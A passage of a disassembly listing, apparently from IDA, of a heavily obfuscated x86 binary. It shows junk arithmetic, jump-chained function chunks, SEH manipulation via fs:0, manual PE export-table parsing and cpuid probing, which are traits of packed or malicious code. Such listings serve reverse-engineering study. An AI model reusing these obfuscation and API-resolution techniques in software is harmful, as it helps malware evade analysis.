; ---------------------------------------------------------------------------


loc_42965A:				; CODE XREF: _7hdaygc1:0042DF3Cj
		jmp	locret_42D25E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_42965F:				; CODE XREF: sub_423172+2E54j
		jmp	loc_42C2E5
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423752


loc_429664:				; CODE XREF: sub_423752+194j
		jmp	sub_42C1AF
; END OF FUNCTION CHUNK	FOR sub_423752
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425492


loc_429669:				; CODE XREF: sub_425492+4DF6j
		xchg	edi, [esi]
		pop	esi
		shr	ebx, 13h
		adc	esi, 27309876h
		jmp	loc_423D9E
; END OF FUNCTION CHUNK	FOR sub_425492
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427E76


loc_42967A:				; CODE XREF: sub_427E76+Ej
		push	esi
		push	0B46857CAh
		pop	esi
		and	esi, 7AB34A20h
		jmp	loc_426B32
; END OF FUNCTION CHUNK	FOR sub_427E76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BEC6


loc_42968C:				; CODE XREF: sub_42BEC6+14EFj
		cmp	eax, 0EB8BCE2Eh
		jmp	loc_425900
; END OF FUNCTION CHUNK	FOR sub_42BEC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42826A


loc_429697:				; CODE XREF: sub_42826A:loc_428277j
		mov	edx, [ebp-14h]
		mov	edx, [edx+1Ch]
		call	sub_4254BE


loc_4296A2:				; CODE XREF: _7hdaygc1:00427FABj
		jmp	loc_42CDE4
; END OF FUNCTION CHUNK	FOR sub_42826A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CFDA


loc_4296A7:				; CODE XREF: sub_42CFDA:loc_426DB9j
		add	ecx, 0CF7EACA6h
		xor	ecx, 1C3785F5h
		add	ecx, ebp
		add	ecx, 0D68A9089h
		mov	ecx, [ecx]
		jmp	loc_428A9C
; END OF FUNCTION CHUNK	FOR sub_42CFDA

; =============== S U B	R O U T	I N E =======================================



sub_4296C2	proc near		; DATA XREF: sub_42B510-7CE2o

; FUNCTION CHUNK AT 0042A847 SIZE 00000011 BYTES

		push	0FDA89397h
		pop	esi
		sub	esi, 3A3EE1A8h
		or	esi, 3EE3705Bh
		jmp	loc_42A847
sub_4296C2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DD73


loc_4296D9:				; CODE XREF: sub_42DD73-5302j
		mov	edx, esp
		push	ebp
		push	edx
		pop	ebp
		call	sub_428079
; END OF FUNCTION CHUNK	FOR sub_42DD73
; START	OF FUNCTION CHUNK FOR sub_42936E


loc_4296E3:				; CODE XREF: sub_42936E+35E9j
		mov	ebx, eax
		push	offset sub_42D3F2
		jmp	loc_42C224
; END OF FUNCTION CHUNK	FOR sub_42936E

; =============== S U B	R O U T	I N E =======================================



sub_4296EF	proc near		; DATA XREF: sub_423812+67A7o

; FUNCTION CHUNK AT 0042B394 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042BC3C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D467 SIZE 0000000A BYTES

		xor	esi, 0B12AE7B2h
		xchg	esi, [esp+0]
		push	0
		mov	eax, [ebp-4]
		jmp	loc_42BC3C
sub_4296EF	endp

; ---------------------------------------------------------------------------


loc_429702:				; CODE XREF: _7hdaygc1:0042D714j
		jz	loc_427DFF
		jmp	loc_428465
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4232DA


loc_42970D:				; CODE XREF: sub_4232DA+878Dj
		adc	ebx, 0E36C1773h
		pushf
		jnb	loc_427288


loc_42971A:				; CODE XREF: sub_42DAD9:loc_42BA4Fj
		sub	eax, 41E71103h
		or	eax, 4EBD2863h
		push	offset loc_42C5EB
		jmp	loc_4241E8
; END OF FUNCTION CHUNK	FOR sub_4232DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA47


loc_429730:				; CODE XREF: sub_42AA47:loc_423B83j
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42AA47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C209


loc_429734:				; CODE XREF: sub_42C209+5j
		cmp	dword ptr [ebp-8], 0
		jge	loc_42FD07
		jmp	loc_423E9D
; END OF FUNCTION CHUNK	FOR sub_42C209
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B9CE


loc_429743:				; CODE XREF: sub_42B9CE+Dj
		mov	edi, ebp
		pop	ebp
		and	edi, ds:4000FBh
		rol	edi, 7
		add	edi, 0FF0238FAh
		jmp	loc_423CDF
; END OF FUNCTION CHUNK	FOR sub_42B9CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EBD6


loc_42975A:				; CODE XREF: sub_42EBD6+9E6j
		push	esi
		and	ebp, edx
		xchg	ecx, [ebx]
		test	esi, ecx
		jmp	loc_42E4E6
; END OF FUNCTION CHUNK	FOR sub_42EBD6

; =============== S U B	R O U T	I N E =======================================



sub_429766	proc near		; CODE XREF: _7hdaygc1:00428873j
					; sub_429B49+Ap

; FUNCTION CHUNK AT 00424545 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428926 SIZE 00000018 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		cmp	ds:dword_425150, 0
		jz	loc_424159


loc_429777:				; CODE XREF: _7hdaygc1:loc_42E100j
		jmp	loc_424545
sub_429766	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F8C4


loc_42977C:				; CODE XREF: _7hdaygc1:00428C5Dj
					; sub_42F8C4-5425j
		ja	loc_429D8B
		jmp	loc_4263DC
; END OF FUNCTION CHUNK	FOR sub_42F8C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4232DA


loc_429787:				; CODE XREF: sub_4232DA-F0j
		jl	loc_424063
; END OF FUNCTION CHUNK	FOR sub_4232DA
; START	OF FUNCTION CHUNK FOR sub_426130


loc_42978D:				; CODE XREF: sub_426130+7254j
		jmp	nullsub_75
; END OF FUNCTION CHUNK	FOR sub_426130
; ---------------------------------------------------------------------------
		add	ecx, ebx
		jnb	loc_429C7F
		jmp	loc_42A9E6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_110. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_4297A0:				; DATA XREF: sub_4236EA+937Bo
		xor	eax, eax
; START	OF FUNCTION CHUNK FOR sub_4297B2


loc_4297A2:				; CODE XREF: sub_4297B2+2749j
		pop	large dword ptr	fs:0
		add	esp, 4

locret_4297AC:				; CODE XREF: sub_42D002-1D2Ej
		retn
; END OF FUNCTION CHUNK	FOR sub_4297B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_4297AD:				; CODE XREF: sub_42AFFE+1Bj
		jmp	loc_42BC12
; END OF FUNCTION CHUNK	FOR sub_42AFFE

; =============== S U B	R O U T	I N E =======================================



sub_4297B2	proc near		; CODE XREF: sub_4236EAp

; FUNCTION CHUNK AT 004297A2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042BEED SIZE 00000013 BYTES

		push	large dword ptr	fs:0
		jmp	loc_42BEED
sub_4297B2	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_106. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42409E


loc_4297BF:				; CODE XREF: sub_42409E+AA02j
		jmp	sub_42AB66
; END OF FUNCTION CHUNK	FOR sub_42409E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED2A


loc_4297C4:				; CODE XREF: sub_42ED2A-46CAj
					; _7hdaygc1:loc_42D9C5j
		jmp	loc_42EA13
; END OF FUNCTION CHUNK	FOR sub_42ED2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4295F7


loc_4297C9:				; CODE XREF: sub_4295F7+B24j
		jmp	sub_42828C
; END OF FUNCTION CHUNK	FOR sub_4295F7
; ---------------------------------------------------------------------------


loc_4297CE:				; CODE XREF: _7hdaygc1:004257B2j
		jmp	locret_42FBAB
; ---------------------------------------------------------------------------


loc_4297D3:				; CODE XREF: _7hdaygc1:loc_42D85Aj
		push	ebx
		call	sub_425360
; START	OF FUNCTION CHUNK FOR sub_42D84A


loc_4297D9:				; CODE XREF: sub_42D84A+Aj
		jmp	loc_42E402
; END OF FUNCTION CHUNK	FOR sub_42D84A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BF20


loc_4297DE:				; CODE XREF: sub_42BF20+Cj
		jmp	loc_42DEAF
; END OF FUNCTION CHUNK	FOR sub_42BF20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F8C4


loc_4297E3:				; CODE XREF: sub_42F8C4-5B15j
		add	eax, ebp
		add	eax, 7634203Dh
		mov	eax, [eax]
		xor	edx, edx


loc_4297EF:				; CODE XREF: _7hdaygc1:0042949Fj
		div	dword ptr [ebp-8]
		push	edi
		jmp	loc_4233C6
; END OF FUNCTION CHUNK	FOR sub_42F8C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_4297F8:				; CODE XREF: sub_4291EA+6A27j
		xor	esi, edx


loc_4297FA:				; CODE XREF: sub_42A2EF+22Dj
		sub	esi, 5A90C16Fh
		add	esi, 9767EB1Ch
		and	esi, 8D5B75C1h
		add	esi, 0FF2FE711h
		xchg	esi, [esp+0]
		jmp	loc_42D41A
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E205


loc_42981A:				; CODE XREF: sub_42E205:loc_42B9B0j
		add	eax, 0A294BC5Bh


loc_429820:				; CODE XREF: _7hdaygc1:loc_42CAF6j
		push	offset sub_42E265
		jmp	nullsub_203
; END OF FUNCTION CHUNK	FOR sub_42E205
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C16F


loc_42982A:				; CODE XREF: sub_42C16F-2C71j
		jge	loc_423EE5


loc_429830:				; CODE XREF: sub_429318+15A1j
		jmp	loc_4269AC
; END OF FUNCTION CHUNK	FOR sub_42C16F
; ---------------------------------------------------------------------------
		shl	edi, 1Ah
		sub	ecx, eax
		xor	esi, 0CD10A9BEh
		push	464DBE64h
		jb	sub_42F8B9
		jmp	loc_423EE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_429850:				; CODE XREF: sub_423DFC:loc_42C434j
		jz	loc_4269F4
		jmp	loc_42DDAB
; END OF FUNCTION CHUNK	FOR sub_423DFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42985B:				; CODE XREF: sub_42C443:loc_4293C4j
		jns	loc_4298C2
		jmp	loc_42E8CB
; END OF FUNCTION CHUNK	FOR sub_42C443
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_39. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_429867:				; CODE XREF: sub_424AE1+388Bj
		jmp	nullsub_104
; END OF FUNCTION CHUNK	FOR sub_424AE1

; =============== S U B	R O U T	I N E =======================================



sub_42986C	proc near		; CODE XREF: sub_425735+Ep

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423285 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00426DA8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00429F29 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429F52 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042CAAF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D2CC SIZE 0000000C BYTES

		mov	eax, large fs:0


loc_429873:				; CODE XREF: sub_42986C+6E8j
					; sub_42986C+3A65j
		jz	loc_429F5B
		cmp	dword ptr [eax], 0FFFFFFFFh
		mov	ebx, [eax+4]
		jmp	loc_42CAAF
sub_42986C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424744


loc_429884:				; CODE XREF: sub_424744:loc_429B5Dj
					; _7hdaygc1:00429B73j
		and	esi, 0CD70B5C5h
		call	sub_42F554
; END OF FUNCTION CHUNK	FOR sub_424744
; START	OF FUNCTION CHUNK FOR sub_4246D7


loc_42988F:				; CODE XREF: sub_4246D7+13j
		jmp	loc_42D6B7
; END OF FUNCTION CHUNK	FOR sub_4246D7
; ---------------------------------------------------------------------------


loc_429894:				; CODE XREF: _7hdaygc1:0042AF7Ej
		jnz	loc_42DF67
		jmp	loc_42397C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E283


loc_42989F:				; CODE XREF: sub_42E283-745Aj
		xchg	ecx, ebx
		and	eax, edi
		shl	ecx, 6
		jmp	loc_4243A0
; END OF FUNCTION CHUNK	FOR sub_42E283
; ---------------------------------------------------------------------------
		push	eax
; START	OF FUNCTION CHUNK FOR sub_42A833


loc_4298AC:				; CODE XREF: sub_42A833:loc_42A86Ej
		ror	eax, 3
		push	ecx
		push	8FAF9FF2h
		pop	ecx
		or	ecx, 23093375h
		add	ecx, 226D46E1h


loc_4298C2:				; CODE XREF: sub_42C443:loc_42985Bj
		rol	ecx, 15h
		jmp	loc_426161
; END OF FUNCTION CHUNK	FOR sub_42A833
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CFDA


loc_4298CA:				; CODE XREF: sub_42CFDA:loc_429576j
					; _7hdaygc1:loc_42F654j
		add	eax, 7348B758h
		add	eax, ebp
		add	eax, 0D1375BA2h
		pushf
		push	65C43E0Ch
		pop	ecx
		jmp	loc_426DB9
; END OF FUNCTION CHUNK	FOR sub_42CFDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425735


loc_4298E4:				; CODE XREF: sub_425735:loc_427E44j
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		or	ecx, ecx
		jz	loc_4243FB
		mov	ecx, [ebx+ecx+0Ch]
		or	ecx, ecx
		jz	loc_4243FB
		call	sub_42E3A4
		jmp	loc_425DF6
; END OF FUNCTION CHUNK	FOR sub_425735
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_94. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_42990A:				; CODE XREF: sub_424AE1-8B7j
		jmp	loc_42D11D
; END OF FUNCTION CHUNK	FOR sub_424AE1
; ---------------------------------------------------------------------------


loc_42990F:				; CODE XREF: _7hdaygc1:004248A7j
		adc	ecx, ebp
		and	ecx, 1A1D902Eh
; START	OF FUNCTION CHUNK FOR sub_423410


loc_429917:				; CODE XREF: sub_423410:loc_42489Aj
		sub	edi, 752589BCh
		rol	edi, 1
		add	edi, 0EA9DABC9h
		xchg	edi, [esp-4+arg_0]
		jmp	sub_42D757
; END OF FUNCTION CHUNK	FOR sub_423410
; ---------------------------------------------------------------------------


loc_42992D:				; CODE XREF: _7hdaygc1:0042B523j
		sbb	ecx, 9C6A70C9h
		test	ebp, eax
		jmp	loc_42EE00
; ---------------------------------------------------------------------------
		pop	ecx
		or	esi, 0F6397631h
		jmp	sub_42D232
; ---------------------------------------------------------------------------


loc_429946:				; DATA XREF: sub_42D84A-6637o
		mov	eax, [ebp-4]


loc_429949:				; CODE XREF: _7hdaygc1:004284E8j
		push	eax
		push	0B2B549AEh
		xchg	edx, [esp]
		mov	eax, edx
		pop	edx
		add	eax, 792D2838h
		and	eax, 1BF5C2EBh
		jmp	loc_42AA0C
; ---------------------------------------------------------------------------


loc_429966:				; CODE XREF: _7hdaygc1:0042F784j
		sbb	edx, eax

; =============== S U B	R O U T	I N E =======================================



sub_429968	proc near		; CODE XREF: _7hdaygc1:0042F45Bp

; FUNCTION CHUNK AT 004237ED SIZE 00000003 BYTES
; FUNCTION CHUNK AT 004246CC SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [eax]
		add	eax, [ebp-4]
		jmp	loc_4246CC
sub_429968	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C3B


loc_429976:				; CODE XREF: sub_425C3B:loc_42A03Ej
		jnz	loc_42487A


loc_42997C:				; CODE XREF: _7hdaygc1:0042AE88j
		jmp	nullsub_137
; END OF FUNCTION CHUNK	FOR sub_425C3B
; ---------------------------------------------------------------------------
		adc	edx, edi
		ror	ebx, 17h
		jmp	loc_42487A
; ---------------------------------------------------------------------------


loc_42998B:				; DATA XREF: sub_42C443:loc_42CFA9o
		mov	[ecx], eax
		pop	ecx

locret_42998E:				; CODE XREF: _7hdaygc1:0042833Dj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426471


loc_42998F:				; CODE XREF: sub_426471:loc_4250D6j
		jmp	nullsub_205
; END OF FUNCTION CHUNK	FOR sub_426471
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_429994:				; CODE XREF: sub_42AFFE-760Cj
		jmp	loc_42DC75
; END OF FUNCTION CHUNK	FOR sub_42AFFE

; =============== S U B	R O U T	I N E =======================================



sub_429999	proc near		; CODE XREF: sub_424AA8:loc_42879Cp
					; sub_428E3C+Dj ...
		call	sub_42948A


loc_42999E:				; CODE XREF: sub_42A94C+544Ej
		jmp	nullsub_23
sub_429999	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AD16


loc_4299A3:				; CODE XREF: sub_42AD16:loc_428298j
		add	eax, 3AF8D10Eh
		xor	edx, edx
		push	offset loc_423E6B
		jmp	loc_42F745
; END OF FUNCTION CHUNK	FOR sub_42AD16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_4299B5:				; CODE XREF: sub_423DFC:loc_429B63j
		mov	eax, [eax]
		add	eax, [ebp-10h]
		mov	[ebp-10h], eax
		add	dword ptr [ebp-4], 4
		push	5879E87Bh
		jmp	loc_4246A1
; END OF FUNCTION CHUNK	FOR sub_423DFC
; ---------------------------------------------------------------------------
		push	ecx
		push	8C024FA1h
		pop	ecx
		or	ecx, 0D70FD466h
		sub	ecx, 0A7E4EC93h
		and	ecx, 801C04CDh
		add	ecx, 3ABC1Ch
		call	sub_426008
; START	OF FUNCTION CHUNK FOR sub_425F27


loc_4299EF:				; CODE XREF: sub_425F27+A80j
		jmp	loc_42EA39
; END OF FUNCTION CHUNK	FOR sub_425F27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A4F1


loc_4299F4:				; CODE XREF: sub_42A4F1:loc_42DA96j
		jz	loc_42638E
		jmp	loc_4251E8
; END OF FUNCTION CHUNK	FOR sub_42A4F1
; ---------------------------------------------------------------------------
		test	edx, 3B3C4A0Ch
		jmp	loc_424F29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA9B


loc_429A0A:				; CODE XREF: sub_42AA9B+7j
		mov	eax, offset dword_42BC4C
		call	sub_427D8E
		cmp	ds:dword_42BC58, 0


loc_429A1B:				; CODE XREF: _7hdaygc1:loc_427F32j
		jnz	loc_42D2C2
		jmp	loc_423304
; END OF FUNCTION CHUNK	FOR sub_42AA9B

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_429A26	proc near		; DATA XREF: sub_42F7BE+1o

var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00427ED3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C874 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E648 SIZE 00000027 BYTES

		mov	ebp, esp
		add	esp, 0FFFFFFECh
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		jmp	loc_42C874
sub_429A26	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA47


loc_429A39:				; CODE XREF: _7hdaygc1:0042477Fj
					; sub_42AA47:loc_42492Aj
		xor	eax, 45FE6148h
		add	eax, ebp
		add	eax, 0C9EBD319h
		mov	eax, [eax]
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-0Ch]
		jmp	loc_423B83
; END OF FUNCTION CHUNK	FOR sub_42AA47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A052


loc_429A54:				; CODE XREF: sub_42A052-3C2Dj
		adc	ebx, 0EC9C8B5Ch


loc_429A5A:				; CODE XREF: sub_42A052:loc_424809j
		push	edi
		push	4C07E8C3h
		pop	edi
		and	edi, 8C91A6AAh
		or	edi, 99DDF87Fh
		jmp	loc_42CBB5
; END OF FUNCTION CHUNK	FOR sub_42A052
; ---------------------------------------------------------------------------


loc_429A72:				; CODE XREF: _7hdaygc1:00429E97j
		lea	eax, [ebp-0Ch]
		push	6905EA6Eh
		pop	ecx
		rol	ecx, 2
		xor	ecx, 8509C431h
		add	ecx, ebp
		jmp	loc_428E96
; ---------------------------------------------------------------------------


loc_429A8B:				; CODE XREF: _7hdaygc1:loc_426D06j
		jge	loc_4247EB
		xor	eax, 5E753171h
		jmp	loc_4247E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AB9F


loc_429A9C:				; CODE XREF: _7hdaygc1:00426B9Dj
					; sub_42AB9F-319j
		add	eax, 0C0ED829Eh
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		cpuid
		add	[esi], eax
		xor	[esi], ebx


loc_429AAE:				; CODE XREF: _7hdaygc1:loc_42F392j
		add	[esi], ecx
		jmp	loc_42392E
; END OF FUNCTION CHUNK	FOR sub_42AB9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E283


loc_429AB5:				; CODE XREF: sub_42E283:loc_42A7DFj
		jnz	loc_42A270
		jmp	loc_42C090
; END OF FUNCTION CHUNK	FOR sub_42E283
; ---------------------------------------------------------------------------


loc_429AC0:				; CODE XREF: _7hdaygc1:loc_42E6CBj
		pop	edx
		and	edx, 0C90C9D50h
		sub	edx, 4FFE7E5Bh
		or	edx, 0B265BC6Fh
		add	edx, 4ABCF17Bh
		add	edx, ebp
		add	edx, 0BAD55082h
		mov	edx, [edx]
		jmp	loc_42F27D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CCDD


loc_429AE8:				; CODE XREF: sub_42CCDD:loc_4262AFj
		add	eax, 0FF3F7E34h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_42D7D4
		jmp	loc_429380
; END OF FUNCTION CHUNK	FOR sub_42CCDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9E1


loc_429AFD:				; CODE XREF: sub_42D9E1-58FFj
					; sub_42D9E1:loc_4289C1j
		call	sub_42D757
		push	0C75BB2F0h
		pop	edx
		or	edx, 0A58B0947h
		cmp	edx, 0E536CB9Ah
		jmp	loc_42C6BF
; END OF FUNCTION CHUNK	FOR sub_42D9E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D245


loc_429B19:				; CODE XREF: sub_42D245-2B87j
		jnz	loc_4242FC
		mov	eax, [ebp-8]
		shl	eax, 3
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		call	sub_4260B4


loc_429B30:				; CODE XREF: sub_42A104+4FABj
		jmp	loc_42E605
; END OF FUNCTION CHUNK	FOR sub_42D245
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_153. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_429B36	proc near		; DATA XREF: _7hdaygc1:0042E5EDo
		inc	dword ptr [ebp-4]
		jmp	loc_4230AB
sub_429B36	endp


; =============== S U B	R O U T	I N E =======================================



sub_429B3E	proc near		; CODE XREF: sub_42ED2A:loc_4230A3p
		mov	eax, 0AAh
		retn
sub_429B3E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426941


loc_429B44:				; CODE XREF: sub_426941+6j
		jmp	nullsub_24
; END OF FUNCTION CHUNK	FOR sub_426941

; =============== S U B	R O U T	I N E =======================================



sub_429B49	proc near		; CODE XREF: sub_425F27-2F02p
					; sub_42409E+8p ...

; FUNCTION CHUNK AT 00423B79 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423FDC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042893E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042FC44 SIZE 00000022 BYTES

		jno	loc_42893E
		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_429766


loc_429B58:				; CODE XREF: sub_425E64+D76j
		jmp	loc_423FDC
sub_429B49	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424744


loc_429B5D:				; CODE XREF: sub_424744:loc_42BC6Dj
		jge	loc_429884
; END OF FUNCTION CHUNK	FOR sub_424744
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_429B63:				; CODE XREF: sub_423DFC+1C7Aj
		jmp	loc_4299B5
; END OF FUNCTION CHUNK	FOR sub_423DFC
; ---------------------------------------------------------------------------
		push	63DBCB3Fh
		jns	loc_428D25
		jmp	loc_429884
; ---------------------------------------------------------------------------
		push	eax
		push	esi
		push	0CEDA5FFBh
		pop	esi
		rol	esi, 1Eh
		jnb	loc_42E883
; START	OF FUNCTION CHUNK FOR sub_425008


loc_429B89:				; CODE XREF: sub_425008+8F3j
		jmp	loc_42689C
; END OF FUNCTION CHUNK	FOR sub_425008
; ---------------------------------------------------------------------------
		jo	loc_42DDFE
		adc	ecx, 0CC943D3Bh
		jmp	loc_42E87C
; ---------------------------------------------------------------------------

locret_429B9F:				; CODE XREF: _7hdaygc1:loc_4252D8j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424963


loc_429BA0:				; CODE XREF: sub_424963:loc_42524Aj
		mov	eax, [ebp-14h]


loc_429BA3:				; CODE XREF: _7hdaygc1:0042C2FBj
		push	offset loc_42D25F
		jmp	loc_42FB9E
; END OF FUNCTION CHUNK	FOR sub_424963
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C3B


loc_429BAD:				; CODE XREF: sub_425C3B:loc_423E43j
		call	sub_42A1B6


loc_429BB2:				; CODE XREF: _7hdaygc1:0042CEB4j
		test	esi, 1000000h
		jmp	loc_42CF16
; END OF FUNCTION CHUNK	FOR sub_425C3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4232DA


loc_429BBD:				; CODE XREF: sub_4232DA:loc_42D42Fj
		pop	ebx


loc_429BBE:				; CODE XREF: _7hdaygc1:00426D59j
					; sub_427D11+18j ...
		push	edi
		mov	edi, ebp
		xchg	edi, [esp+4+var_4]
		jmp	loc_427CA9
; END OF FUNCTION CHUNK	FOR sub_4232DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_429BC9:				; CODE XREF: sub_423172:loc_42CAD7j
		or	eax, 22320440h


loc_429BCF:				; CODE XREF: _7hdaygc1:004285DBj
		jmp	loc_424C8B
; END OF FUNCTION CHUNK	FOR sub_423172

; =============== S U B	R O U T	I N E =======================================



sub_429BD4	proc near		; DATA XREF: _7hdaygc1:loc_4285D1o
		push	eax
		mov	eax, [ebp-18h]


loc_429BD8:				; CODE XREF: sub_42CC76:loc_424D96j
		call	sub_42F436


loc_429BDD:				; CODE XREF: _7hdaygc1:0042D58Fj
		jmp	nullsub_207
sub_429BD4	endp

; ---------------------------------------------------------------------------


loc_429BE2:				; CODE XREF: _7hdaygc1:0042CCCDj
		jmp	loc_42ABB3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_129. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BA2C


loc_429BE8:				; CODE XREF: sub_42BA2C+3j
		jmp	loc_42578C
; END OF FUNCTION CHUNK	FOR sub_42BA2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_429BED:				; CODE XREF: sub_424AE1+56CFj
		jmp	loc_42F0BA
; END OF FUNCTION CHUNK	FOR sub_424AE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E254


loc_429BF2:				; CODE XREF: sub_42E254-61E2j
		jmp	nullsub_100
; END OF FUNCTION CHUNK	FOR sub_42E254
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_429BF7:				; CODE XREF: sub_42C443-753Ej
		jmp	loc_4239BA
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F65A


loc_429BFC:				; CODE XREF: sub_42F65A-567j
		jg	loc_42A764
		jmp	loc_42E8D6
; END OF FUNCTION CHUNK	FOR sub_42F65A
; ---------------------------------------------------------------------------


loc_429C07:				; DATA XREF: sub_4252F5+4A67o
		add	[esi], eax
		call	sub_423A34
; START	OF FUNCTION CHUNK FOR sub_42828C


loc_429C0E:				; CODE XREF: sub_42828C+6j
		jmp	loc_42BBD9
; END OF FUNCTION CHUNK	FOR sub_42828C
; ---------------------------------------------------------------------------
